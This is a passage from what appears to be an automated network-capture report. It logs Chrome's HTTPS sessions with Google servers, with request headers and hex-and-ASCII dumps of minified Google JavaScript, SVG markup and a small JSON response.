2024-11-12 03:16:12 UTC	1378	IN	Data Raw: 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 73 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 Data Ascii: role\u003d\"button\" tabindex\u003d\"0\"\u003e \u003csvg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l22
2024-11-12 03:16:12 UTC	1378	IN	Data Raw: 32 2c 32 7a 4d 36 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 Data Ascii: 2,2zM6,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1
2024-11-12 03:16:12 UTC	1378	IN	Data Raw: 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 31 22 2c 22 6c 65 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 36 30 2c 33 37 30 30 39 34 39 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 Data Ascii: ft_product_control-label1","left_product_control-label2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700260,3700949,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else
2024-11-12 03:16:12 UTC	1378	IN	Data Raw: 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 52 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 53 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 7d 7d 3b 5f 2e 54 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 53 64 28 5c 22 61 62 6f 75 74 3a 69 6e 76 61 6c 69 64 23 7a 43 6c 6f 73 75 72 65 7a 5c 22 29 3b 5f 2e 50 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 6a 68 5c 75 30 30 33 64 61 7d 7d 3b 5f 2e 55 64 5c 75 30 30 33 Data Ascii: 1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Rd\u003dglobalThis.trustedTypes;_.Sd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i}};_.Td\u003dnew _.Sd(\"about:invalid#zClosurez\");_.Pd\u003dclass{constructor(a){this.jh\u003da}};_.Ud\u003
2024-11-12 03:16:12 UTC	1378	IN	Data Raw: 61 5c 75 30 30 33 64 61 2e 69 3b 65 6c 73 65 20 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 65 6c 73 65 20 61 5c 75 30 30 33 64 5f 2e 67 65 28 61 29 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 69 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 64 28 64 5c 75 30 30 33 64 28 63 5c 75 30 30 33 64 5c 22 64 6f 63 75 6d 65 6e 74 5c 22 69 6e 20 62 3f 62 2e 64 6f 63 75 6d 65 6e 74 3a 62 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 29 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 64 2e 63 61 6c 6c 28 63 2c 60 24 7b 61 7d 5b 6e 6f 6e 63 65 5d 60 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 5c 22 5c Data Ascii: a\u003da.i;else throw Error(\"F\");else a\u003d_.ge(a);return a};_.ie\u003dfunction(a,b\u003ddocument){let c,d;b\u003d(d\u003d(c\u003d\"document\"in b?b.document:b).querySelector)\u003d\u003dnull?void 0:d.call(c,`${a}[nonce]`);return b\u003d\u003dnull?\"\
2024-11-12 03:16:12 UTC	474	IN	Data Raw: 29 5b 30 5d 7c 7c 6e 75 6c 6c 29 29 3b 72 65 74 75 72 6e 20 61 7c 7c 6e 75 6c 6c 7d 3b 5c 6e 5f 2e 75 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 5f 2e 47 62 28 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 79 6c 65 5c 22 3f 61 2e 73 74 79 6c 65 2e 63 73 73 54 65 78 74 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 63 6c 61 73 73 5c 22 3f 61 2e 63 6c 61 73 73 4e 61 6d 65 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 66 6f 72 5c 22 3f 61 2e 68 74 6d 6c 46 6f 72 5c 75 30 30 33 64 63 3a 74 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 64 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 74 65 5b 64 5d 2c 63 29 3a 5f 2e 6f 65 28 64 2c 5c Data Ascii: )[0]\|\|null));return a\|\|null};\n_.ue\u003dfunction(a,b){_.Gb(b,function(c,d){d\u003d\u003d\"style\"?a.style.cssText\u003dc:d\u003d\u003d\"class\"?a.className\u003dc:d\u003d\u003d\"for\"?a.htmlFor\u003dc:te.hasOwnProperty(d)?a.setAttribute(te[d],c):_.oe(d,\
2024-11-12 03:16:12 UTC	364	IN	Data Raw: 31 36 35 0d 0a 22 2c 6e 6f 6e 63 65 3a 5c 22 6e 6f 6e 63 65 5c 22 2c 72 6f 6c 65 3a 5c 22 72 6f 6c 65 5c 22 2c 72 6f 77 73 70 61 6e 3a 5c 22 72 6f 77 53 70 61 6e 5c 22 2c 74 79 70 65 3a 5c 22 74 79 70 65 5c 22 2c 75 73 65 6d 61 70 3a 5c 22 75 73 65 4d 61 70 5c 22 2c 76 61 6c 69 67 6e 3a 5c 22 76 41 6c 69 67 6e 5c 22 2c 77 69 64 74 68 3a 5c 22 77 69 64 74 68 5c 22 7d 3b 5c 6e 5f 2e 76 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 77 69 6e 64 6f 77 7d 3b 5f 2e 79 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 63 6f 6e 73 74 20 63 5c 75 30 30 33 64 62 5b 31 5d 2c 64 5c 75 30 30 33 64 5f 2e 77 65 28 61 2c 53 74 72 69 6e 67 28 62 5b 30 5d 29 29 3b 63 5c 75 30 30 32 Data Ascii: 165",nonce:\"nonce\",role:\"role\",rowspan:\"rowSpan\",type:\"type\",usemap:\"useMap\",valign:\"vAlign\",width:\"width\"};\n_.ve\u003dfunction(a){return a?a.defaultView:window};_.ye\u003dfunction(a,b){const c\u003db[1],d\u003d_.we(a,String(b[0]));c\u002

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49709	142.250.185.100	443	2928	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:11 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-12 03:16:12 UTC	957	IN	HTTP/1.1 200 OK Version: 693618659 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Tue, 12 Nov 2024 03:16:12 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-12 03:16:12 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-12 03:16:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49719	172.217.18.14	443	2928	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:15 UTC	741	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-12 03:16:15 UTC	913	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 117949 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Tue, 12 Nov 2024 03:04:08 GMT Expires: Wed, 12 Nov 2025 03:04:08 GMT Cache-Control: public, max-age=31536000 Last-Modified: Thu, 10 Oct 2024 19:55:27 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 727 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-12 03:16:15 UTC	465	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 30 78 38 30 30 30 30 30 2c 20 5d 29 3b 0a 76 61 72 20 64 61 2c 65 61 2c 68 61 2c 6e 61 2c 6f 61 2c 73 61 2c 74 61 2c 77 61 3b 64 61 3d 66 75 6e Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);var da,ea,ha,na,oa,sa,ta,wa;da=fun
2024-11-12 03:16:15 UTC	1378	IN	Data Raw: 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 68 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 72 6e Data Ascii: type)return a;a[b]=c.value;return a};ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return
2024-11-12 03:16:15 UTC	1378	IN	Data Raw: 20 62 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 62 29 72 65 74 75 72 6e 20 62 2e 63 61 6c 6c 28 61 29 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 3d 3d 22 6e 75 6d 62 65 72 22 29 72 65 74 75 72 6e 7b 6e 65 78 74 3a 64 61 28 61 29 7d 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 62 60 22 2b 53 74 72 69 6e 67 28 61 29 29 3b 7d 3b 73 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 62 29 7d 3b 74 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 61 73 73 69 Data Ascii: b=typeof Symbol!="undefined"&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if(typeof a.length=="number")return{next:da(a)};throw Error("b`"+String(a));};sa=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};ta=typeof Object.assi
2024-11-12 03:16:15 UTC	1378	IN	Data Raw: 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 46 61 3d 30 3b 74 68 69 73 2e 77 66 3d 76 6f 69 64 20 30 3b 74 68 69 73 2e 4e 72 3d 5b 5d 3b 74 68 69 73 2e 68 56 3d 21 31 3b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 74 72 79 7b 68 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6a 46 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 6d 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6c 7c 7c 28 6c 3d 21 30 2c 6d 2e 63 61 6c 6c 28 6b 2c 6e 29 29 7d 7d 76 61 72 20 6b 3d 74 68 69 73 2c 6c 3d 21 31 3b 72 65 74 75 72 6e 7b 72 65 73 6f 6c 76 65 3a 68 28 74 68 69 73 2e 53 64 61 29 2c 72 65 6a 65 63 74 3a 68 Data Ascii: nction(h){this.Fa=0;this.wf=void 0;this.Nr=[];this.hV=!1;var k=this.jF();try{h(k.resolve,k.reject)}catch(l){k.reject(l)}};e.prototype.jF=function(){function h(m){return function(n){l\|\|(l=!0,m.call(k,n))}}var k=this,l=!1;return{resolve:h(this.Sda),reject:h
2024-11-12 03:16:15 UTC	1378	IN	Data Raw: 6f 6d 69 73 65 3d 74 68 69 73 3b 68 2e 72 65 61 73 6f 6e 3d 74 68 69 73 2e 77 66 3b 72 65 74 75 72 6e 20 6c 28 68 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 47 37 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 4e 72 21 3d 6e 75 6c 6c 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 74 68 69 73 2e 4e 72 2e 6c 65 6e 67 74 68 3b 2b 2b 68 29 66 2e 58 4f 28 74 68 69 73 2e 4e 72 5b 68 5d 29 3b 0a 74 68 69 73 2e 4e 72 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 66 3d 6e 65 77 20 62 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 79 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 68 2e 69 79 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 7a 66 61 3d 66 75 6e 63 74 69 Data Ascii: omise=this;h.reason=this.wf;return l(h)};e.prototype.G7=function(){if(this.Nr!=null){for(var h=0;h<this.Nr.length;++h)f.XO(this.Nr[h]);this.Nr=null}};var f=new b;e.prototype.yfa=function(h){var k=this.jF();h.iy(k.resolve,k.reject)};e.prototype.zfa=functi
2024-11-12 03:16:15 UTC	1378	IN	Data Raw: 28 22 46 69 72 73 74 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 61 20 72 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 22 29 3b 72 65 74 75 72 6e 20 61 2b 22 22 7d 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 45 61 28 74 68 69 73 2c 62 2c 22 73 74 61 72 74 73 57 69 74 68 22 29 2c 65 3d 64 2e 6c 65 6e 67 74 68 2c 66 3d 62 2e 6c 65 6e 67 74 68 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 6f 72 28 Data Ascii: ("First argument to String.prototype."+c+" must not be a regular expression");return a+""};na("String.prototype.startsWith",function(a){return a?a:function(b,c){var d=Ea(this,b,"startsWith"),e=d.length,f=b.length;c=Math.max(0,Math.min(c\|0,d.length));for(
2024-11-12 03:16:15 UTC	1378	IN	Data Raw: 68 3d 30 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 74 68 69 73 2e 47 61 3d 28 68 2b 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 6c 29 7b 6c 3d 5f 2e 72 61 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 65 22 29 3b 64 28 6c 29 3b 69 66 28 21 73 61 28 6c 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 66 60 22 2b 6c 29 3b 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3d 6d 3b 72 65 74 75 72 6e 20 74 68 69 Data Ascii: h=0,k=function(l){this.Ga=(h+=Math.random()+1).toString();if(l){l=_.ra(l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw Error("e");d(l);if(!sa(l,f))throw Error("f`"+l);l[f][this.Ga]=m;return thi
2024-11-12 03:16:15 UTC	1378	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 6b 3d 64 28 74 68 69 73 2c 6b 29 3b 72 65 74 75 72 6e 20 6b 2e 5a 65 26 26 6b 2e 6c 69 73 74 3f 28 6b 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 6b 2e 69 6e 64 65 78 2c 31 29 2c 6b 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 5a 65 2e 52 6b 2e 6e 65 78 74 3d 6b 2e 5a 65 2e 6e 65 78 74 2c 6b 2e 5a 65 2e 6e 65 78 74 2e 52 6b 3d 0a 6b 2e 5a 65 2e 52 6b 2c 6b 2e 5a 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 52 6b 3d 66 28 29 3b 74 68 69 73 2e 73 Data Ascii: function(k){k=d(this,k);return k.Ze&&k.list?(k.list.splice(k.index,1),k.list.length\|\|delete this[0][k.id],k.Ze.Rk.next=k.Ze.next,k.Ze.next.Rk=k.Ze.Rk,k.Ze.head=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].Rk=f();this.s
2024-11-12 03:16:15 UTC	1378	IN	Data Raw: 2e 65 6e 74 72 69 65 73 7c 7c 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 64 3d 6e 65 77 20 61 28 5f 2e 72 61 28 5b 63 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 72 65 74 Data Ascii: .entries\|\|typeof Object.seal!="function")return!1;try{var c=Object.seal({x:4}),d=new a(_.ra([c]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.next();if(f.done\|\|f.value[0]!=c\|\|f.value[1]!=c)ret
